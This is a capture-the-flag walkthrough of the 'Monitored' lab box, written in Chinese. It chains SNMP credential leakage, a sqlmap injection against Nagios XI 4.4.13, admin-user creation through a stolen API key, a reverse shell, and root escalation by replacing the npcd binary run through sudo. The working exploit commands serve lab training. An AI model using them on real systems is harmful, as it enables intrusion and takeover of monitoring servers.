0%

Monitored

snmp协议

Monitored

信息搜集

nmap扫描一下端口

1
nmap -sV -sC -v --min-rate 1000 10.10.11.248

扫描结果如下

1
2
3
4
5
6
7
8
9
10
PORT     STATE    SERVICE  VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56
| http-methods:
|_ Supported Methods: GET
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
84/tcp filtered ctf
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))

注意到80端口跳转到https://nagios.monitored.htb/且无法访问,我们试试添加到/etc/hosts成功访问

继续访问发现是登陆界面

然后就没有什么收获了,参考国外师傅wp是要进行 udp 扫描

1
sudo nmap -sV -sC -v -sU 10.10.11.248

扫描结果如下

1
2
3
4
5
PORT    STATE         SERVICE  VERSION
68/udp open|filtered dhcpc
123/udp open ntp NTP v4 (unsynchronized)
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
162/udp open|filtered snmptrap

注意到161端口为snmp协议,我们先简单了解下两个概念

SNMP

SNMP是一种标准的网络管理协议,它允许管理员监控和管理网络设备,例如路由器、交换机、服务器等。它有三个版本分别是1,c2,3,主要区别在于操作类型和安全性。

管理信息库MIB

任何一个被管理的资源都表示成一个对象,称为被管理的对象。MIB是被管理对象的集合。它定义了被管理对象的一系列属性:对象的名称、对象的访问权限和对象的数据类型等。

MIB文件中的变量使用的名字取自ISO和ITU管理的对象标识符(object identifier)名字空间。它是一种分级树的结构。如下图所示,第一级有三个节点:ccitt、iso、iso-ccitt。低级的对象ID分别由相关组织分配。一个特定对象的标识符可通过由根到该对象的路径获得,一般网络设备取iso节点下的对象内容。

如名字空间ip结点下一个名字为ipInReceives的MIB变量被指派数字值3,那么该变量名为

1
iso.org.dod.internet.mgmt.mib.ip.ipInReceives

相应的数字表示(对象标识符OID,唯一标识一个MIB对象)为1.3.6.1.2.1.4.3

回到题目,用snmpwalk进行扫描

1
snmpwalk -v 1 -c public 10.10.11.248 1.3.6.1.2.1.25

注:这里版本应该都能扫出来

public为团体名,是一种简单的身份验证机制

1.3.6.1.2.1.25为对象标识符OID(收集所有系统信息)

得到用户登录信息svc:XjH7VCehowpR1xZB

不过登陆失败

我们扫一下目录发现路径/nagios,访问一下有登录框

成功登录

获得信息Nagios xi版本为4.4.13,找到相关漏洞

我们可以用sqlmap去注入数据库得到admin的api信息 参考文章

当然在文章中我们注意到成功需要知道cookie值

我们通过对/nagiosxi不断深度扫描,最终得到下面路径

1
https://nagios.monitored.htb/nagiosxi/api/v1/authenticate

我们bp抓包修改下请求方式,提交参数为刚刚的用户和密码

得到token值a7eb754b64862d9a0943c405c4d4e2717eea9d51

因为这里的token值会变,所以在使用sqlmap的时候用curl命令去获得

1
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ks https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch --dbs

得到admin的api后,添加用户

1
curl -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=rev1ve&password=rev1ve&name=rev1ve&email=rev1ve@localhost&auth_level=admin"

我们成功用rev1ve:rev1ve登录

然后Configure -> Core Config Manager找到Command,添加反弹shell命令

然后在Monitoring->Hosts->localhost中Run一下调用shell

成功反弹shell

得到user的flag

尝试sudo提权

试试manage_services.sh

1
sudo /usr/local/nagiosxi/scripts/manage_services.sh

执行后提示需要有参数,随便加一个status

manage_services.sh可以控制服务,注意到npcd文件可控,并且能够以root用户执行npcd服务的开启和关闭,因此可以在npcd服务中加入一段反弹shell来提权

我们先停止npcd服务

1
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd

使用wget命令下载我们的npcd文件,赋予权限

1
chmod +x npcd

然后开启npcd服务

1
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

成功提权拿到root的flag